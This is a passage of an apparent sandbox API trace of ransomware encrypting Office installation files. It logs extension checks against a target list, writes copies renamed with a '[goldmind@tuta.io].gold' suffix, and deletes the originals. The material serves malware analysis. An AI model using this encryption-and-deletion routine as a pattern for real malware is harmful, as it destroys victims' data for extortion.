Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0099.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0099.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0099.232] lstrlenW (lpString=".doc") returned 4 [0099.232] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0099.232] lstrlenW (lpString=".docx") returned 5 [0099.232] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0099.232] lstrlenW (lpString=".pdf") returned 4 [0099.232] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0099.232] lstrlenW (lpString=".xls") returned 4 [0099.232] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0099.232] lstrlenW (lpString=".xlsx") returned 5 [0099.232] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0099.232] lstrlenW (lpString=".ppt") returned 4 [0099.232] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0099.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0099.232] lstrlenW (lpString=".zip") returned 4 [0099.232] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0099.232] lstrlenW (lpString=".rar") returned 4 [0099.232] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0099.232] lstrlenW (lpString=".bz2") returned 4 [0099.232] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0099.232] lstrlenW (lpString=".7z") returned 3 [0099.232] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0099.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0099.232] lstrlenW (lpString=".dbf") returned 4 [0099.232] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0099.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0099.232] lstrlenW (lpString=".1cd") returned 4 [0099.232] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0099.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0099.232] lstrlenW (lpString=".jpg") returned 4 [0099.232] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0099.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0099.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0099.233] lstrlenW (lpString=".doc") returned 4 [0099.233] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0099.233] lstrlenW (lpString=".docx") returned 5 [0099.233] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0099.233] lstrlenW (lpString=".pdf") returned 4 [0099.233] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0099.233] lstrlenW (lpString=".xls") returned 4 [0099.233] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0099.233] lstrlenW (lpString=".xlsx") returned 5 [0099.233] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0099.233] lstrlenW (lpString=".ppt") returned 4 [0099.233] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0099.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0099.233] lstrlenW (lpString=".zip") returned 4 [0099.233] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0099.233] lstrlenW (lpString=".rar") returned 4 [0099.233] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0099.233] lstrlenW (lpString=".bz2") returned 4 [0099.233] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0099.233] lstrlenW (lpString=".7z") returned 3 [0099.233] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0099.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0099.233] lstrlenW (lpString=".dbf") returned 4 [0099.233] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0099.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0099.233] lstrlenW (lpString=".1cd") returned 4 [0099.233] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0099.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0099.233] lstrlenW (lpString=".jpg") returned 4 [0099.233] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0099.233] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0099.233] lstrlenW (lpString="ACCVDTUI.DLL") returned 12 [0099.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0099.233] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=158600) returned 1 [0099.234] CloseHandle (hObject=0x3c4) returned 1 [0099.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll")) returned 0x20 [0099.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0099.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0099.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0099.234] lstrlenW (lpString=".doc") returned 4 [0099.234] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0099.234] lstrlenW (lpString=".docx") returned 5 [0099.234] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0099.234] lstrlenW (lpString=".pdf") returned 4 [0099.234] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0099.234] lstrlenW (lpString=".xls") returned 4 [0099.234] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0099.234] lstrlenW (lpString=".xlsx") returned 5 [0099.234] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0099.234] lstrlenW (lpString=".ppt") returned 4 [0099.234] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0099.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0099.234] lstrlenW (lpString=".zip") returned 4 [0099.234] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0099.234] lstrlenW (lpString=".rar") returned 4 [0099.234] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0099.234] lstrlenW (lpString=".bz2") returned 4 [0099.234] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0099.234] lstrlenW (lpString=".7z") returned 3 [0099.234] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0099.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0099.234] lstrlenW (lpString=".dbf") returned 4 [0099.234] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0099.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0099.234] lstrlenW (lpString=".1cd") returned 4 [0099.234] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0099.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0099.234] lstrlenW (lpString=".jpg") returned 4 [0099.234] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0099.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0099.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0099.235] lstrlenW (lpString=".doc") returned 4 [0099.235] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0099.235] lstrlenW (lpString=".docx") returned 5 [0099.235] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0099.235] lstrlenW (lpString=".pdf") returned 4 [0099.235] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0099.235] lstrlenW (lpString=".xls") returned 4 [0099.235] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0099.235] lstrlenW (lpString=".xlsx") returned 5 [0099.235] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0099.235] lstrlenW (lpString=".ppt") returned 4 [0099.235] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0099.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0099.235] lstrlenW (lpString=".zip") returned 4 [0099.235] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0099.235] lstrlenW (lpString=".rar") returned 4 [0099.235] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0099.235] lstrlenW (lpString=".bz2") returned 4 [0099.235] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0099.235] lstrlenW (lpString=".7z") returned 3 [0099.235] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0099.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0099.235] lstrlenW (lpString=".dbf") returned 4 [0099.235] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0099.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0099.235] lstrlenW (lpString=".1cd") returned 4 [0099.235] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0099.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0099.235] lstrlenW (lpString=".jpg") returned 4 [0099.235] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0099.235] lstrcmpiW (lpString1=".HLP", lpString2=".gold") returned 1 [0099.235] lstrlenW (lpString="ACTIP10.HLP") returned 11 [0099.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0099.235] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=343520) returned 1 [0099.235] CloseHandle (hObject=0x3c4) returned 1 [0099.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp")) returned 0x20 [0099.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0099.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0099.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0099.236] lstrlenW (lpString=".doc") returned 4 [0099.236] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0099.236] lstrlenW (lpString=".docx") returned 5 [0099.236] lstrcmpiW (lpString1=".docx", lpString2="0.HLP") returned -1 [0099.236] lstrlenW (lpString=".pdf") returned 4 [0099.236] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0099.236] lstrlenW (lpString=".xls") returned 4 [0099.236] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0099.236] lstrlenW (lpString=".xlsx") returned 5 [0099.236] lstrcmpiW (lpString1=".xlsx", lpString2="0.HLP") returned -1 [0099.236] lstrlenW (lpString=".ppt") returned 4 [0099.236] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0099.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0099.236] lstrlenW (lpString=".zip") returned 4 [0099.236] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0099.236] lstrlenW (lpString=".rar") returned 4 [0099.236] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0099.236] lstrlenW (lpString=".bz2") returned 4 [0099.236] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0099.236] lstrlenW (lpString=".7z") returned 3 [0099.236] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0099.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0099.236] lstrlenW (lpString=".dbf") returned 4 [0099.236] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0099.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0099.236] lstrlenW (lpString=".1cd") returned 4 [0099.236] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0099.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0099.236] lstrlenW (lpString=".jpg") returned 4 [0099.237] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0099.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0099.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0099.237] lstrlenW (lpString=".doc") returned 4 [0099.237] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0099.237] lstrlenW (lpString=".docx") returned 5 [0099.237] lstrcmpiW (lpString1=".docx", lpString2="0.HLP") returned -1 [0099.237] lstrlenW (lpString=".pdf") returned 4 [0099.237] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0099.237] lstrlenW (lpString=".xls") returned 4 [0099.237] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0099.237] lstrlenW (lpString=".xlsx") returned 5 [0099.237] lstrcmpiW (lpString1=".xlsx", lpString2="0.HLP") returned -1 [0099.237] lstrlenW (lpString=".ppt") returned 4 [0099.237] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0099.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0099.237] lstrlenW (lpString=".zip") returned 4 [0099.237] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0099.237] lstrlenW (lpString=".rar") returned 4 [0099.237] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0099.237] lstrlenW (lpString=".bz2") returned 4 [0099.237] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0099.237] lstrlenW (lpString=".7z") returned 3 [0099.237] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0099.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0099.237] lstrlenW (lpString=".dbf") returned 4 [0099.237] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0099.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0099.237] lstrlenW (lpString=".1cd") returned 4 [0099.237] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0099.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0099.237] lstrlenW (lpString=".jpg") returned 4 [0099.237] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0099.237] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0099.237] lstrlenW (lpString="ACWIZRC.DLL") returned 11 [0099.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0099.238] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=275856) returned 1 [0099.238] CloseHandle (hObject=0x3c4) returned 1 [0099.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll")) returned 0x20 [0099.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0099.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0099.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0099.238] lstrlenW (lpString=".doc") returned 4 [0099.238] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0099.238] lstrlenW (lpString=".docx") returned 5 [0099.238] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0099.238] lstrlenW (lpString=".pdf") returned 4 [0099.238] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0099.238] lstrlenW (lpString=".xls") returned 4 [0099.238] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0099.239] lstrlenW (lpString=".xlsx") returned 5 [0099.239] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0099.239] lstrlenW (lpString=".ppt") returned 4 [0099.239] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0099.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0099.239] lstrlenW (lpString=".zip") returned 4 [0099.239] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0099.239] lstrlenW (lpString=".rar") returned 4 [0099.239] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0099.239] lstrlenW (lpString=".bz2") returned 4 [0099.239] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0099.239] lstrlenW (lpString=".7z") returned 3 [0099.239] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0099.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0099.239] lstrlenW (lpString=".dbf") returned 4 [0099.239] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0099.539] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.539] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0099.562] GetLastError () returned 0x0 [0099.562] ReadFile (in: hFile=0x380, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x10f78, lpOverlapped=0x0) returned 1 [0099.564] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x10f80, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x10f80, lpOverlapped=0x0) returned 1 [0099.566] ReadFile (in: hFile=0x380, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.566] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0099.566] SetEndOfFile (hFile=0x3ac) returned 1 [0099.566] CloseHandle (hObject=0x3ac) returned 1 [0099.566] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.566] SetEndOfFile (hFile=0x380) returned 1 [0099.571] CloseHandle (hObject=0x380) returned 1 [0099.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl")) returned 1 [0099.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0099.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0099.575] lstrlenW (lpString=".doc") returned 4 [0099.575] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0099.575] lstrlenW (lpString=".docx") returned 5 [0099.575] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0099.575] lstrlenW (lpString=".pdf") returned 4 [0099.576] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0099.576] lstrlenW (lpString=".xls") returned 4 [0099.576] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0099.576] lstrlenW (lpString=".xlsx") returned 5 [0099.576] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0099.576] lstrlenW (lpString=".ppt") returned 4 [0099.576] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0099.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0099.576] lstrlenW (lpString=".zip") returned 4 [0099.576] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0099.576] lstrlenW (lpString=".rar") returned 4 [0099.576] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0099.576] lstrlenW (lpString=".bz2") returned 4 [0099.576] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0099.576] lstrlenW (lpString=".7z") returned 3 [0099.576] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0099.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0099.576] lstrlenW (lpString=".dbf") returned 4 [0099.576] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0099.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0099.576] lstrlenW (lpString=".1cd") returned 4 [0099.576] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0099.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0099.576] lstrlenW (lpString=".jpg") returned 4 [0099.576] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0099.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0099.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0099.576] lstrlenW (lpString=".doc") returned 4 [0099.576] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0099.576] lstrlenW (lpString=".docx") returned 5 [0099.576] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0099.576] lstrlenW (lpString=".pdf") returned 4 [0099.576] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0099.576] lstrlenW (lpString=".xls") returned 4 [0099.576] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0099.576] lstrlenW (lpString=".xlsx") returned 5 [0099.576] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0099.576] lstrlenW (lpString=".ppt") returned 4 [0099.576] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0099.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0099.576] lstrlenW (lpString=".zip") returned 4 [0099.576] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0099.576] lstrlenW (lpString=".rar") returned 4 [0099.576] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0099.576] lstrlenW (lpString=".bz2") returned 4 [0099.576] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0099.576] lstrlenW (lpString=".7z") returned 3 [0099.576] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0099.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0099.576] lstrlenW (lpString=".dbf") returned 4 [0099.576] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0099.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0099.576] lstrlenW (lpString=".1cd") returned 4 [0099.576] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0099.576] lstrlenW 